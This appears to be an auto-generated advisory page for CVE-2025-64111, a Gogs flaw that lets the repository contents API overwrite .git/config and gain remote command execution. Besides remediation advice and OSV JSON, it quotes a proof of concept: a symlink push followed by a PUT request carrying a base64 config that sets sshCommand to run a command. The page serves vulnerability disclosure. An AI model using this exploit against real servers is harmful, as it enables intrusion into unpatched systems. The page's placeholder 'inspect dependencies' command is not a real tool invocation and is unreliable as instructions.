CVE-2025-64111: Gogs.io/gogs Gogs's Update .git/config File Allows Vulnerability

CRITICAL
Advisory Identifier: GHSA-gg64-xxr9-qhjp
CWE-78
Published
Advisory Summary

CVE-2025-64111 is a CRITICAL gogs's update .git/config file allows vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Gogs.io/gogs libraries in the Go ecosystem. The issue involves gogs's update .git/config file allows remote command execution. Remediation is available by upgrading affected packages to version 0.13.4.

CVE-2025-64111 at a Glance

CVE Identifier CVE-2025-64111
GHSA Identifier GHSA-gg64-xxr9-qhjp
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Gogs.io/gogs
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2025-64111

To remediate this vulnerability, upgrade all affected Gogs.io/gogs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

gogs.io/gogs fixed: 0.13.4
Upgrade gogs.io/gogs to 0.13.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for gogs.io/gogs

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-64111, inspect your project dependencies for Gogs.io/gogs:

inspect dependencies for gogs.io/gogs

Analyze the terminal output to locate any version of Gogs.io/gogs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.13.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Gogs.io/gogs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Due to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the `.git` directory and achieve remote command execution. ### Details Function `UpdateRepoFile` security check under some if conditions. While UpdateRepoFile call in API router will NOT match any of them. It's still possible to update `.git/config` file via API router. https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206 ### PoC ```bash # add a symlink file and push to repo. ln -s .git/config link git add link git commit -m 'add' && git push ``` Update file via API router ```http PUT /api/v1/repos/demo/vul/contents/link HTTP/1.1 Content-Type: application/json Host: localhost:3000 Authorization: token {token} {"message":"message","committer":{"name":"test","email":"a@b.com"},"content":"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy"} ``` ### Impact RCE

CVE-2025-64111 Affected Gogs.io/gogs Versions

1 component(s)
Fixed Versions:
0.13.4
Product / Package Ecosystem Affected Versions Fixed Version
gogs.io/gogs
Go
< 0.13.4
0.13.4

References

Frequently Asked Questions

What is CVE-2025-64111?
CVE-2025-64111 is a security vulnerability in Gogs.io/gogs involving Gogs's update .git/config file allows remote command execution under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Gogs.io/gogs versions are affected?
Affected versions include releases prior to 0.13.4 across affected packages: gogs.io/gogs.
What version fixes CVE-2025-64111?
Upgrading to 0.13.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is gogs.io/gogs affected?
Yes, gogs.io/gogs is affected in releases prior to 0.13.4. Upgrade your dependency to 0.13.4 or later.
What CWE is associated with CVE-2025-64111?
CVE-2025-64111 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2025-64111?
Run the dependency tree command: 'inspect dependencies for gogs.io/gogs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gg64-xxr9-qhjp",
  "modified" : "2026-02-06T19:06:43Z",
  "published" : "2026-02-06T17:49:27Z",
  "aliases" : [ "CVE-2025-64111" ],
  "summary" : "Gogs's update .git/config file allows remote command execution",
  "details" : "### Summary\nDue to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the `.git` directory and achieve remote command execution.\n\n### Details\nFunction `UpdateRepoFile` security check under some if conditions. While UpdateRepoFile call in API router  will NOT match any of them.  It's still possible to update `.git/config` file via API router.\nhttps://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206\n\n\n\n### PoC\n```bash\n# add a symlink file and push to repo.\nln -s .git/config link\ngit add link\ngit commit -m 'add' && git push\n```\n\nUpdate file via API router\n```http\nPUT /api/v1/repos/demo/vul/contents/link HTTP/1.1\nContent-Type: application/json\nHost: localhost:3000\nAuthorization: token {token}\n\n{\"message\":\"message\",\"committer\":{\"name\":\"test\",\"email\":\"a@b.com\"},\"content\":\"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy\"}\n```\n\n### Impact\nRCE",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "gogs.io/gogs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.13.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.13.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gogs/gogs/security/advisories/GHSA-gg64-xxr9-qhjp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-64111"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gogs/gogs"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-06T17:49:27Z",
    "nvd_published_at" : "2026-02-06T17:16:17Z"
  }
}